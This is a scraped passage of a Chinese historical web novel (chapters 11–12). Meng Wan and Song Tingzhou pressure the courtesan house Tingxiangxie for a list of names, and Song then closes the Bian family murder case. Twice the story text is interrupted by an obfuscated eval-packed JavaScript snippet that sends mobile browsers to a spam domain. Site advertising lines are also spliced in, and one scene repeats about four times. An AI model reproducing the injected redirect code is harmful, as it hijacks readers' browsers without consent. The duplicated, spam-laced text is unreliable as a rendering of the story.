而被他们谈论的宋亭舟处在风口浪尖,反而比其他人更能沉得住气,连顺天府也不回了,坐上马车直接掉头回家,甚至中途还有兴致买两包点心,让暗中等着他反应的人都傻了眼。 “今日怎么这么早就回来了?”常金花拎着一条猪五花回来,准备晚上包饺子,她现在一天天在家待的快发霉,也就只有做饭这一点乐趣了。 宋亭舟下了马车,接过她手里栓猪肉的麻绳自己提,“同陛下告了假,在家休息几日,晚儿腿扭伤了,我亲自去牙行看看宅子。” 拾春巷的宅子小,宋亭舟他们走到二进门的时候,孟晚就已经看见人了。 他手里拿着把瓜子,正围在火炉旁边烤火,见宋亭舟回来把瓜子皮顺手就扔进了火炉里,发出噼里啪啦的声音,然后人小跑了出去,“这么早就回来啦?” 孟晚虽然嘴上这么问,但面上并没有太多惊讶的表情,可见并不意外宋亭舟“休假”。 宋亭舟拢了拢他松散的衣领,“嗯,还给你买了栗子,还热乎着,进去吃。” 他一共买了好几包栗子,常金花年纪越大,越是不爱这些甜食,孟晚留下一包,剩下的让黄叶拿去给孩子们分了。 孟晚剥开一颗栗子尝了尝,“个头挺大,但是没有咱们在 你的朋友正在书荒,快去帮帮他吧 老家的时候吃的小栗子甜糯。 宋亭舟随他坐在火炉旁边,“等回了昌平,咱们在老家买一些。 两人围着炉子说了会儿话,雪生从驿站取了信回来,“夫郎,是奉天府来的信。 孟晚拿起帕子净了净手,接过信件意外道:“这么快? 他拆开信快速的读了一遍,然后递给宋亭舟,“黄挣寄来的信,他这些年在北地发展,人脉较广,我托他查了查边二兴的事。 毫无意外,郭婉贞说谎了,但她也算是说了一半的实话。 边二兴与她一家三口确实被卖到了奉天辖内的一个小镇上,也确实是个小有田产的地主。但他们一家子却不是被地主赶走,而是私自逃离的。 原因也很好查,地主正四处托人打探他们的下落,发誓要打死边二兴, 因为他两岁的小孙子,被边二兴咬掉了四根手指! 孟晚和宋亭舟对视一眼,皆是果然如此的表情,边二兴是中了鲛珠的毒没跑了。 鲛珠价值千两,他一个奴仆是买不起的,定然是边老爷自己服用的时候,随手赏他的,所以边家败落后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369677|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他得不到鲛珠,才会迅速发疯。 “那边家挖出来尸骨,八成就是边大人失控下杀的?孟晚说着又觉得不对,“边大人可不是吉婆岛的那些富商,他身居高位,老五要控制他肯定下了不少本钱,怎么舍得他就这么发疯呢? 京中暗自窥探的人太多,老五是孟晚给廉王取得昵称。 宋亭舟现在基本已经能确定边家的案子,但如何给死去的边大人定罪却有些麻烦,他手上给孟晚剥栗子,口中缓缓说道:“他定然是不舍得,然而别人就不一定了。 孟晚探头探脑的扒在他肩膀上,用气音在他耳边问:“是皇还是老四?皇是皇上,太子在兄弟里行四。 宋亭舟耳朵染上了一层红,他把孟晚往自己怀里带了带,也学着他的样子在他耳边轻语,“皇。 “哈哈。孟晚捂着耳朵大笑,跑去一旁桌子上给宋亭舟抓瓜子,“你昨日买的盐津瓜子确实好吃,我给你剥一把尝尝。 宋亭舟顺势起身,“不用了,难得沐休,我带你出去逛逛。 “我也要去!爹你偏心!阿砚扒着门框大喊。 孟晚不耐烦的说:“去 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 就去,嚷什么嚷?吵得我头疼**。”他回里面的卧房里揣了两个荷包,指使阿砚道:“去把通儿也叫上,阿爹带你们长长见识去。” “我这就去找通儿!”阿砚眼睛一亮,兔子一样蹿了出去。 宋亭舟无奈一笑,把屏风上挂着的一件最厚重的斗篷拿在手里,“江边风大,披件厚的。” 孟晚把身上短款的兔毛斗篷递给宋亭舟,换上他手里的宝蓝色斗篷,面色惆怅,“这件水貂里斗篷还是师父前年给我的,在岭南嫌厚,一直没穿,幸好黄叶帮我好好保管住了。” 项芸小事上随意,大事上随性,从没仔细关注过孟晚缺什么,都是她觉着什么东西不错,恰好想起孟晚,就立即让人给送到。 可最让孟晚感动的还是项芸为他铺路,请的艺术院女/哥儿先生。 宋亭舟为他戴上斗篷后浅灰獭兔毛的帽子,然后动作熟练地握住他的手,用自己的温度去暖孟晚微凉的指尖,“莫要想那么多,师父和师公能白头到老,同穴而葬,哪怕是黄泉路上也不孤单。” 孟晚感性的抱抱他,“你说的对,以后我们也能这样就好了。” 宋亭舟眼中溢满温情,他两臂紧箍在孟晚腰间,似诉似叹道:“我们一定会。” 进了腊月后,天越发的冷了,一家子也没讲究什么面子排场,只管换上最厚实保暖的衣裳出门,就这样阿砚还在马车上冻得直哆嗦。他极不适应盛京的天气,刚来拾春巷的时候,住了三天唇边就干裂了。 “阿砚哥哥,要不我抱你吧?”通儿非常认真地说。 阿砚强大的自尊心迫使他不能接受自己小弟的拥抱,哆哆嗦嗦的拒绝道:“不……不用了通儿。” 可恶,有点后悔出门来了怎么办?坐马车也太受罪了,还不如走路! 他的期望不可能实现,因为拾春巷离孟晚所说的“世面”太远了。 等终于进了永乐街的地盘,阿砚迫不及待的说:“阿爹我要下车下车。” “下吧,不许离雪生叔太远啊,要不然会被人贩子给抓了去,到时候让你哭都哭不出来。”孟晚其实也冻腿,在两个小孩蹿下车后,他和宋亭舟也下了车。 桂诚寻了处地方,把马车和蚩羽雪生骑得马都拴好,然后留下来看车。 “最前面那个就是听香榭?”孟晚指着永乐街尽头的小楼问宋亭舟。 腊月的盛京每条街道上的人都多,有路人听见孟晚的话好笑的看过来,小声嘟囔,“一个出嫁的哥儿,怎么在大街上就说起了花楼的名字来?” 也有几个妇人也在指点他和宋亭舟紧密相连的手,孟晚微微侧头,形状姣好的唇勾起一个好看的弧度,故意把他俩的手往上抬了一点。 看吧,随便看,反正宋亭舟都被**了,他们就牵怎么了?等他们看习惯了,自己也回家牵去呗。 第11章 一掷千金 孟晚无视众人目光,别人看他就是还没习惯,像西梧府的百姓早就习惯了,赫山县的人把孟晚当偶像,已婚夫妻和夫夫甚至都学起来了。 堂堂盛京,如此落后,让人鄙夷。 这群人瞧不上孟晚礼教,殊不知孟晚也看不上他们事多。 “晚儿,这个要不要?” 若说心理强大,孟晚是真的不及宋亭舟,当初在现代社会的时候,他也还是挺腼腆的,能练到现在这样,也是做生意习惯了。 但宋亭舟就纯粹是内心强大的人,孟晚有时候会想,若是在现代社会,像他这样有点小聪明的人可能很多,可如宋亭舟这样内心强大的人定是很少的。 他爱人,在哪里定都是厉害人物。 “晚儿?”宋亭舟见孟晚发呆,又提着手中的东西唤了他一声。 孟晚回过神来接过他手里的东西,稀奇道:“这是什么?” 那是一个巴掌大的小人,头戴紫金冠,身披青色长衫,五官和手脚都小巧精致,姿态栩栩如生。 孟晚惊讶不已,拿在手里观察后发现这小娃娃的衣裳竟然是用丝绸纱绢做的,而且头上的发冠竟然可以取下来再装上。 这么时尚的吗? 古代版芭比娃娃? 摊贩是个已至花甲的老人,穿着普通但身上的料子极好,整个人身健神清,面色红润。他笑着对孟晚介绍,“夫郎没见过吧?这是娟人,你手里这一个,就要做一月方能完成。” 孟晚眉梢微挑,耗时证明贵重。 果然,老者的下一句就是,“你手里这个,要三十两银子。” 孟晚立马给他放下啦,他又不喜欢玩娃娃,这么个东西就要三十两,比他家工坊的果珍罐还贵,又不能吃不能用的。 干脆利落的转身,只见阿砚不知道什么时候窜过来了,正抱着宋亭舟的大腿眼巴巴的望着他。 宋亭舟轻咳一声,“晚儿,不若给阿砚买一个玩玩吧。” “选吧,通儿也选一个。”孟晚无奈的说。 他开口,孟晚一般不会拒绝,阿砚也知道关键时候该找哪个爹。 “耶!”阿砚欢呼。 那摊子上一共摆了十五六个娃娃,阿砚上手就摸了个服饰最华丽的飞天侍女。通儿则拿了个身穿白色锦衣舞剑的 公子,他觉得除了衣服颜色不对之外,很像他爹。 通儿拿的那个和孟晚之前看的相同,都属于造型简单的,老者说三十两银子一个,阿砚那个可了不得了,九十两银子,一个顶三个。 宋家平时没刻意节俭过,特别是穿的衣物和家里的被褥等,孟晚爱买好料子,因为用着确实舒服,其余大的开销就没什么了,常金花不舍得花,宋亭舟和孟晚是没有什么太强烈的购买欲。 这下好了,原来都是给这小子准备的钱! 两个娃娃一百二十两,听说还有世家小姐和公子们买预定的娟人,那种更贵,一身装扮就要七八两银子。 孟晚:“……” 果然是盛京,消费力惊人,宋亭舟要不是京官……算了,宋亭舟是不是京官他也不想做这样。 钱是好东西,怎么赚也赚不完,太贪就会让自己万劫不复,如同那些吃过鲛珠的人,欲壑难填。 “听说你家每个楼上都有三位头牌,再来六个舞妓、四个歌姬。” 孟晚站在听香榭门口,和守门的龟奴大眼瞪小眼。 龟奴还记得宋亭舟,他一副难以置信的目光看着宋亭舟。 你上次自己来花楼里买瓜子就算了,这次还带夫郎来? 他在听香榭干了二十年,就没听过谁来妓院带家里夫郎的! 孟晚背对着日头,兜帽上浅灰色的毛边包裹住他莹白的脸,上面的表情不似京中寻常哥儿看见外男微微低头躲躲闪闪,反而带着一股子精明利落,眼神通透且带着丝锋芒,“你看我夫君做什么?听香榭难道有钱不赚吗?” “赚,怎么不赚?”龟奴眼睛扫向宋亭舟。 宋亭舟半退一步,“银钱都在我夫郎那里。” 龟奴眼角一抽,“那……那几位里面请?”他说到一半才看见后面还有俩孩子,这可真是够离谱的。 孟晚就站在听香榭的大门口,“我一个哥儿怎么好进花楼啊,让人知道岂不是要被人说长道短?” 你怕人说长道短还来花楼? 还带孩子来!!! 这些年听香榭里也不是没有接触过有特殊癖好的富人,可这样的还真是头一份。 “那您说怎么地?要不我们把人给送到您府上去?”本来龟奴就是做这种勾当的,把楼里的小哥儿姑娘们往被子里一裹, 扔进客人家的小门里就走。 孟晚摇了摇头,随后指向院中桌椅,“院子里不是有那么多的空地吗?把那些桌椅搬过来一套,我就在门口看看好了,这样旁人也说不出什么话来。” 龟奴:“……” 你想进来就悄悄的进来算了,搞得这么大张旗鼓岂不是谁都能看到? 而且他们听香榭在盛京也是有头有脸的花楼,背后牵扯着大人物,凭什么任这么个小哥儿摆……布…… 龟奴的目光随着孟晚手中的一锭金子移动,不是十两白银,也不是百两银票,那可是金子啊! 孟晚把沉甸甸的一包金子砸在龟奴面前的桌子上,“你能不能管事?不能就去请能做主的来。” 一盏茶的功夫后,听香榭的几个妈妈和嬷嬷都来了。 他们都是见过大世面的,孟晚的金子不少,他们眼馋是真,但怀疑孟晚是来砸场子的嫌疑更大。 昨日和宋亭舟交谈过的嬷嬷明显比听澜楼里的两个妈妈地位更高,他站出来说道:“这位夫郎,咱们楼里的哥儿女娘只能在楼里跳舞接客,这是咱们听香榭的规矩,您就是一掷千金我们也不敢坏了东家的规矩,还请夫郎不要为难我们了。” 孟晚没说话,他把另一个荷包掏出来,从里面拿出一沓银票,当着几个妈妈、嬷嬷、龟奴、听香榭外看热闹的百姓,一张一张的数,“一百两、二百两、三百两……一千四百两,呀,怎么就带了这么点,雪生,你再回家取一千两银子过来。” 吞咽口水的声音接二连三,在场没有人看到这么多银票不心动的,青楼里的老爷们再挥金如土顶天也就五百两,多数还是记账,谁会真的带着千两银票逛青楼啊! “那个,夫郎,您看这样成不成,我把咱们楼里的姑娘小哥儿都叫出来在院里给大家乐呵乐呵。几个头牌都给您叫到花船上舞乐,您也别在外面冻着,咱们上二楼,楼上有雅间还有酒菜,咱们保管给您伺候的舒舒服服的!” 几个妈妈挤眉弄眼的商量了几句,还是由刚才说话的嬷嬷出声说道。 孟晚把银票当扇子似的扇了两下,“也行吧,好酒好菜就免了,我不爱你们楼里的吃喝,把花生瓜子的往上端两盘就行,我们只待一阵,这功夫不长眼的人就别往里请了,免得污了我的眼。” “欸!您里面请。” 有钱的是大爷,他们被迎进去的同 时,三两个还在温柔乡里的客人被请了出去。 姑娘小哥儿们熬了大夜被迫上工,还要迎起虚假的笑容起来陪大人物,然后就见一位貌美夫郎再对她/他们笑,接着一人给她/他们发了两张银票和两个小金锞子,金锞子上头刻得是最常见的“福”字。 “辛苦诸位。”孟晚勾起的嘴角像是把人的魂都给勾去了,站在前头的六位头牌缓了一会儿才受宠若惊的欠身揖礼,“多谢哥哥……啊不,多谢夫郎。” 孟晚对她们并无轻视,认认真真的坐在楼上欣赏曼妙的舞姿与乐曲。 他没来过花楼,不知道是因为妈妈们叮嘱,还是听香榭本就风雅,那些舞女跳舞并没有什么暗示性的动作,反倒姿态优雅,跳起来行云流水,令人赏心悦目。 “阿爹,我也要学她们跳舞!”阿砚两眼放光的说。 他在西梧府见得最多就是戏曲和杂耍,还没见过这么优雅的舞姿呢! 孟晚:“……” 宋亭舟:“……” 通儿缓解了两个大人的尴尬,“阿砚哥哥,她们跳的软绵绵的有什么好看啊?你和我爹学舞剑吧,等他回来我们一起和他学。” “剑怎么跳舞啊?”阿砚兴致缺缺,他还是更喜欢看那些漂亮的小哥哥小姐姐跳舞。 孟晚无语的看着阿砚怀里抱着侍女娟人,憧憬着自己上船跟舞娘学跳舞,实在忍无可忍的拿手肘捅了宋亭舟一下。 宋亭舟单手扶额,“明年开春天暖时,昭远的岳父会来上京,倒是咱们登门拜访一番,请他老人家教教阿砚和通儿。” 吴昭远岳父是江南大儒,学问自不用多说,重要的是为人严谨,德行刚正,正适合调教阿砚这样思维过于跳脱的孩子。 “头次感觉日子这么漫长,真想现在就把宋砚赶去进学。”孟晚惋惜,也就是阿砚年纪太小官学不收,私塾的质量又良莠不齐,不然早就给送去了。 听香榭的大阵仗引来不少人围观,让这座在业内名头极大,在普通百姓中却令人鄙夷的神秘花楼在众人面前显露。 孟晚和宋亭舟稳稳地看舞听曲,听香榭中自然有着急的人。 “孟夫郎,久仰大名。”一位美艳的女子缓缓推开了孟晚所在的厢房。 她大概只有二十岁左右,正是风华正茂的好年纪,穿了一身鹅黄色的锦袍,外罩一件无一丝 杂色的白狐皮**斗篷,走起路来姿态婀娜,无声的吸引室异性的注意。 可惜宋亭舟目光并无半分波动,反倒是阿砚眼前一亮。 这个大姐姐好看,比画舫上跳舞的还漂亮。 女子暗叹可惜,面上却挂出一抹令人阅之舒心的笑意,“还请孟夫郎可怜奴那些姐弟们,大冷的天还要叫他们砸了冰在船上舞乐,可别冻坏了身子。” “你认识我?”孟晚敏锐地察觉到她话里的语气,在说自己称呼的时候没有半点顿涩,绝对是探查过他。 他也跟着笑,“听香榭的东家都亲自来游说,我刚好想叫妈妈去叫他们上来呢。” 孟晚不是大变态,船上虽然有炭盆,到底不安全又冷,他和宋亭舟不至于为了逼人现身让那些无辜的人一直在船上跳舞。 “浮音多谢孟夫郎体谅。”那美人欠身谢道。 孟晚请她坐下,“姑娘叫浮音?不知是哪个浮,哪个音?”, “飘浮随风波的浮,云藏巫峡音容断的音。”浮音轻笑,配上她头上大朵的金色牡丹发钗,仿若寒冬花季百花齐放,美不胜收。 可她的艳丽的形象,并不符合如此凄美的名字。 孟晚面露赞叹,“真是个好名字,我与姑娘一见如故,想与姑娘讨些东西来不知行不行。” 浮音捂嘴笑道:“孟夫郎为人可真是有趣,浮音一介风尘女子,能有什么东西可给夫郎的呢?” 大家都知道彼此底细,再装就是浪费时间了。孟晚扭头认认真真地对浮音说:“我知道吉婆岛郭启秀儿子的下落,想用她换姑娘的东西,不知姑娘给是不给?” 浮音脸上的笑意一僵,片刻后才又重新正色起来,“夫郎只用一个莫须有的消息就想在奴这里得到好处吗?” 孟晚十分无赖,“那你是不想知道喽?也是,反正吉婆岛都散货了,郭启秀也**,他儿子一个小孩能知道什么有用的消息呢?浮音姑娘的主子肯定是权势滔天的人,就是被捅出去了也不在乎这一点小小的污点吧?” 浮音倒吸了一口凉气,只犹豫了片刻就有了决断,“夫郎不用再试探了,浮音答应你的要求,但有一点还请夫郎成全。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369678|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孟晚挠挠宋亭舟的手,搞定了。 宋亭舟回握住他,不叫他捣蛋。 孟晚桌上的那只手悠闲的托住下巴,饶 有兴致的问:“你说吧。” “浮音想要孟夫郎的一幅画。” 送走这两位瘟神,浮音脸上的笑意逐渐淡去。 嬷嬷小心翼翼的问道:“楼主,孩子们都累了,今日这位夫郎给得赏钱着实不少,不如关门休息一天吧?” 浮音的声音异常冷酷,“休息?他们做得是什么正经买卖吗?金银都收拾上来,酉时照常开门迎客。” “是。”嬷嬷不敢反驳,悄然退下。 他走后浮音疾步走回了那座隐秘的小楼,推开一楼的一道暗门,里头的人影维持着一个姿势不动,像是在看什么人,又像是在想什么。 “被他拿捏住了?”轻哑而富有韵味的声调从人影口中传出。 浮音这会儿的表情才出现一丝挫败,“难怪,昨天姓宋的只是来试探,今天就来逼我出来了,你说的不错,他们夫夫果然不好对付。他们真的效忠太子吗?但宋亭舟入京后和太子**走得并不亲近。” 偃叹了一声:“应该是与那一派走得都不近吧?真是让人猜不透,摸不着。” “对了,你要他夫郎的画做什么?听说他是项芸最得意的弟子,但仅有的画作都被收在宫中,难不成你赏识他的画?”浮音的话中带着隐秘地试探。 偃回过身,往密道深处走去,微哑的嗓音在走廊深处回荡。 “赏识?算是吧。” 有兴致的问:“你说吧。” “浮音想要孟夫郎的一幅画。” 送走这两位瘟神,浮音脸上的笑意逐渐淡去。 嬷嬷小心翼翼的问道:“楼主,孩子们都累了,今日这位夫郎给得赏钱着实不少,不如关门休息一天吧?” 浮音的声音异常冷酷,“休息?他们做得是什么正经买卖吗?金银都收拾上来,酉时照常开门迎客。” “是。”嬷嬷不敢反驳,悄然退下。 他走后浮音疾步走回了那座隐秘的小楼,推开一楼的一道暗门,里头的人影维持着一个姿势不动,像是在看什么人,又像是在想什么。 “被他拿捏住了?”轻哑而富有韵味的声调从人影口中传出。 浮音这会儿的表情才出现一丝挫败,“难怪,昨天姓宋的只是来试探,今天就来逼我出来了,你说的不错,他们夫夫果然不好对付。他们真的效忠太子吗?但宋亭舟入京后和太子**走得并不亲近。” 偃叹了一声:“应该是与那一派走得都不近吧?真是让人猜不透,摸不着。” “对了,你要他夫郎的画做什么?听说他是项芸最得意的弟子,但仅有的画作都被收在宫中,难不成你赏识他的画?”浮音的话中带着隐秘地试探。 偃回过身,往密道深处走去,微哑的嗓音在走廊深处回荡。 “赏识?算是吧。” 有兴致的问:“你说吧。” “浮音想要孟夫郎的一幅画。” 送走这两位瘟神,浮音脸上的笑意逐渐淡去。 嬷嬷小心翼翼的问道:“楼主,孩子们都累了,今日这位夫郎给得赏钱着实不少,不如关门休息一天吧?” 浮音的声音异常冷酷,“休息?他们做得是什么正经买卖吗?金银都收拾上来,酉时照常开门迎客。” “是。”嬷嬷不敢反驳,悄然退下。 他走后浮音疾步走回了那座隐秘的小楼,推开一楼的一道暗门,里头的人影维持着一个姿势不动,像是在看什么人,又像是在想什么。 “被他拿捏住了?”轻哑而富有韵味的声调从人影口中传出。 浮音这会儿的表情才出现一丝挫败,“难怪,昨天姓宋的只是来试探,今天就来逼我出来了,你说的不错,他们夫夫果然不好对付。他们真的效忠太子吗?但宋亭舟入京后和太子**走得并不亲近。” 偃叹了一声:“应该是与那一派走得都不近吧?真是让人猜不透,摸不着。” “对了,你要他夫郎的画做什么?听说他是项芸最得意的弟子,但仅有的画作都被收在宫中,难不成你赏识他的画?”浮音的话中带着隐秘地试探。 偃回过身,往密道深处走去,微哑的嗓音在走廊深处回荡。 “赏识?算是吧。” 有兴致的问:“你说吧。” “浮音想要孟夫郎的一幅画。” 送走这两位瘟神,浮音脸上的笑意逐渐淡去。 嬷嬷小心翼翼的问道:“楼主,孩子们都累了,今日这位夫郎给得赏钱着实不少,不如关门休息一天吧?” 浮音的声音异常冷酷,“休息?他们做得是什么正经买卖吗?金银都收拾上来,酉时照常开门迎客。” “是。”嬷嬷不敢反驳,悄然退下。 他走后浮音疾步走回了那座隐秘的小楼,推开一楼的一道暗门,里头的人影维持着一个姿势不动,像是在看什么人,又像是在想什么。 “被他拿捏住了?”轻哑而富有韵味的声调从人影口中传出。 浮音这会儿的表情才出现一丝挫败,“难怪,昨天姓宋的只是来试探,今天就来逼我出来了,你说的不错,他们夫夫果然不好对付。他们真的效忠太子吗?但宋亭舟入京后和太子**走得并不亲近。” 偃叹了一声:“应该是与那一派走得都不近吧?真是让人猜不透,摸不着。” “对了,你要他夫郎的画做什么?听说他是项芸最得意的弟子,但仅有的画作都被收在宫中,难不成你赏识他的画?”浮音的话中带着隐秘地试探。 偃回过身,往密道深处走去,微哑的嗓音在走廊深处回荡。 “赏识?算是吧。” 第12章 求情 一家子大张旗鼓的来,办完正事又乘兴而归,只有阿砚都快走出永乐街了,还依依不舍的再回望听香榭巨大的招牌。 咦?他最后一次回头的时候,突然看到人群里好像有道熟悉的身影往听香榭的方向去了,只是眨眼的功夫人就没了踪影。 —— “本来你只是随便诈诈,没成想竟然还真钓出大鱼来了。”孟晚回到家中才出声感慨。 宋亭舟第一件事便是去看火炉里的炭,果然剩的不多了,他边加炭边搭上孟晚的话,“后续还会有小鱼小虾。” 孟晚很想对他竖个大拇指,他仔仔细细地把手洗了,“其实今天应该带小辞去的,没准能发现什么。” 宋亭舟知道他的想法,“她们不敢,也不可能这么蠢。” 孟晚从怀里取出浮音给的东西,一张普通纸张,上头写着六人姓名,其中正有边二兴的名字。他把纸单递给宋亭舟,“你说这上面都是真的吗?” 宋亭舟沉吟道:“真假参半。” 黄叶端了一盘子橘子过来,孟晚顺手贴在火炉边上两个,“我猜只有三分其一,六个里起码有四个都是假的,剩下两个也是无用的棋子。” 毕竟边大人已经**,这步棋已经走废。 他说着哼了一声,“反正咱们也同样只是给了个模棱两可的消息,不算吃亏。哦,对了,还有一幅画。” 宋亭舟坐到他身边,把那张名单拿到自己手里,“无用也有用,要看后续怎么用,画你不必理会。” 孟晚给他的两个小橘子翻个,指尖被烫的染上了一层红,他顺手把手往宋亭舟的手里一塞,“要画这事着实古怪,你好不容易休几天假,也不必急切,在家好好休息几天。” 宋亭舟一手抓着他的手,另一只手抚了抚他鬓边的发,“好。” 说是要在家休息,实际还是有许多决策需要他来决定,下午陶八过来,宋亭舟便吩咐他道:“这几天不论昼夜,派人把永乐街守紧。” 监察御史既然**宋亭舟狎妓,宋亭舟干脆就把这责任揽下来了,横竖盛京城除了皇城都是顺天府的辖区。 他以顺天府办事的名头,叫陶八租下了听香榭门口的小铺面,再派顺天府衙门里的六个通判,带上几个小吏每天就坐在听香榭的大门口轮流当值,收录每个逛花楼的人姓名、住址等信息。 想进听香榭的过一个查一个,若有故意谎报的,一律按欺诈罪被一旁候着的捕快拉去顺天府审讯,单纯扯谎的关一夜放出去也就罢了。真有什么案底被查出来,那可就好看了。 他这样行事强硬,把想来逛窑子的人都给吓住了,毕竟寻常百姓谁也不想与官府的人打交道。 听香榭门可罗雀,这样一来反而更方便顺天府的人盯人。 盛京城里的声乐场所数不胜数,寻常好色的人不去听香榭照样可以去别的花楼,可对于某些因为隐秘而必须要去听香榭的人就无比痛苦了。 陶家三个兄弟跟宋亭舟这么久,办案都已经办出经验了,他们兄弟仨各领着几个衙役轮班倒,也不穿官服,就穿着便装在永乐街上溜达,在宋亭舟自请在家闭门思过的第五天,一口气抓了四个官员,一抓一个准。 第六天宋亭舟重新上早朝,这次朝中对他横眉竖眼的官员更多了。但这次没人敢再参奏他,毕竟…… “朕听说顺天府昨日抓获了几个朝廷命官。”皇上高坐在龙椅上,语气听上去似乎带了丝笑意。 宋亭舟从文官前排出列,恭敬的回禀道:“回陛下,确实如此。上次赵、丁两位御史大人参奏臣枉顾典章,公然狎妓。臣在家闭门思过的时候左思右想,深觉有理,所以准备严查官员狎妓之事,以肃清官场威仪。” 参宋亭舟狎妓的赵御史背后一凉,不知道是来自何处的目光,把他脊梁骨都快要戳出个洞来。 眼见着他是不敢露头了,然而参宋亭舟和夫郎举止亲昵不教礼俗的丁御史还想再挣扎一下。 做御史的最会夹枪带棒,丁御史散朝出宫后故意在宋亭舟面前路过,顺带阴阳怪气的说了一句,“宋大人真是百官之典范,但下官怎么听说您夫郎还逛妓院呢?如此惊世骇俗的小哥儿,宋大人还是好好管教一二吧,不知什么时候就会给大人带来祸端也说不定。” 宋亭舟本来没想理他,听到后来突然停下脚步定定的看着他,“丁御史应该知道本官是从岭南一带调任上来的。” “宋大人在西梧府的政绩斐然,令人钦佩。”丁御史狐疑,什么意思?宋亭舟靠自己本事从岭南那等未穷山恶水杀回盛京,这件事朝中百官应该无人不知吧?西梧府有钱了之后户部尚书逢人就夸宋亭舟有本事,不知道的还以为宋亭舟是他儿子。 宋亭舟双瞳黝黑,墨色的眸子里是能把人溺 死其中深潭,“本官在西梧府六年半,共斩贪官污吏七人,手下的四个知县也换了个遍。比起与人唇枪舌战,本官更喜欢干净利落一些的方法。” 丁御史被他看得汗**直立,心里已经暗暗后悔刚才说话招惹对方了,却拉不下脸来认错,只好悻悻地离开了。 宋亭舟重回顺天府之后,便立即着手审问前些天陶八抓的官员们,再加上从浮音给得名单中旁敲侧击,毫不意外的找到一个和边家有关的另一个关键人物。 边家二十一具死尸中那个表小姐,姓齐名蕊,其父是边夫人的庶弟。齐蕊从小父母双亡寄养在边大人家中,可她极少有人知道她还有个姨母。 这个姨母是齐蕊母亲的妹妹,曾经上门来看过她,因为家境不好,齐蕊偷偷接济过几次,因此被边家的奴仆嘲讽是打秋风的穷亲戚。 姨母一把年纪也是要脸的,但她家里实在落魄,冬天短粮的时候孩子连饭都吃不饱,为了给孩子求上一些粮食,也只能麻烦外甥女。 厚颜求到外甥女头上已经很难为情了,怕齐蕊为难,她每次都偷偷的来,不敢让别人知道。 齐蕊死的时候,她姨母正躲在她闺房的里屋中,亲眼看见边老爷闯进小院里施暴,场面残酷,几个下人进来拉也没拉开,反而被发狂的边老爷给弄伤了,甚至还有两个当场就倒在了破碎的瓷器上没了气。 表小姐的姨母吓得大气都不敢出,她承受不住被人发现的后果,丢弃眼神绝望的外甥女趁乱跑了出去。 跑出齐蕊的院子后,她看见边家主母匆匆带人过来围住了院子…… “真的是边老爷杀了蕊娘,民妇亲眼所见,种种细节历历在目,随大人盘问。只求大人还我外甥女一个公道,她正是豆蔻年华,不能就这么不明不白的**,连个土丘都没有啊!” 表小姐的姨母在堂上哭得泣不成声,这段日子以来她一闭上眼睛,梦里便是外甥女满脸是血地质问她当初为何弃自己而去。 被贫困和愧疚折磨的妇女已经枯瘦如柴、濒临崩溃,任谁也看不出来她如今才不过三十几岁而已。 宋亭舟乌纱帽下的神情肃穆严峻,他沉声吩咐道:“十一,你带上她随我去边家一趟。” “陶八,你把府衙的捕快和衙役都带上,把仵作也喊来,咱们今天一样样的勘察,看证词是否与边家情景相同。” 前往边家的人越聚越 多,最后刑部也来了人,边大人基本能定罪,虽然他人已死,可逝者照样需要一个公道。 从上午一直忙活到黄昏,一群人浩浩荡荡的从边家出去,一身官服的宋亭舟走在前面气势威严,百姓们从旁边路过连呼吸都几乎屏住了。 卖包子的老妇人心中一慌,手里的半屉包子都掉在了地上,一个包子她也只能挣上个一两文,顿时心疼到连害怕都忘了,蹲在地上边捡边叹息。 “这屉包子我买了。”宋亭舟余光中看见这里的动静,几步走近,从荷包里抓了一把铜钱扔进老妇人的破碗里。 “宋大人?不……这这包子脏了,民妇再给您换一屉。”那半屉包子起码有五个都沾上了土,平凡百姓也不会买这样的包子,又如何能卖给官老爷? 见她不动,宋亭舟自己从蒸屉里拿起一个包子,将上面沾了土的地方用手撕下去,三两口就吃完了一个。 “你们谁饿了过来拿两个垫垫肚子,本官请客。” 其余人面面相觑,陶十一先过来拿了两个沾了土的,他更不讲究,直接拍了拍就囫囵吃了进去,“大人,这也不够咱们一伙人吃的呀?” 陶八和陶十过来一人拍了他一下。 陶十一嘟囔,“本来就是嘛。” 其余人衙役犹犹豫豫的过来,“大人。” 宋亭舟颔首,“旁边有面摊和馄饨摊子,你们忙活一天都辛苦了,让他们都过来一起坐。” “欸!”那衙役眼睛一阵酸涩,他们这些最底层的差役向来被官老爷呼来喝去,少有好脸色,宋大人虽然也指使他们,但是字字句句都把他们当人看,而不是狗。 宋亭舟又给了那老妇半角碎银,买下她剩余所有包子,还有馄饨摊和面摊都先给了银子,让他们只管做有多少食材做多少吃食。 一时间这条街上只要是卖吃食的铺子,坐得都是身穿差服的衙役、捕快、文吏等。 宋亭舟也和陶家兄弟找了张边角处的桌子坐下,桌子上馄饨、面条都有,而且一个赛一个的能吃。 宋亭舟最后放下了筷子,回身一看,其余衙役都在等他。 “都回吧,本官也回家去了。” 他说完衙役们一个个的自发过来告退,一顿饭而已,大家的语气便比平时的公式化多掺杂了一丝真诚。 边家二十一具尸体的案 子宋亭舟结案后将卷宗送往刑部,曾仕棋亲自带着卷宗找上宋亭舟。 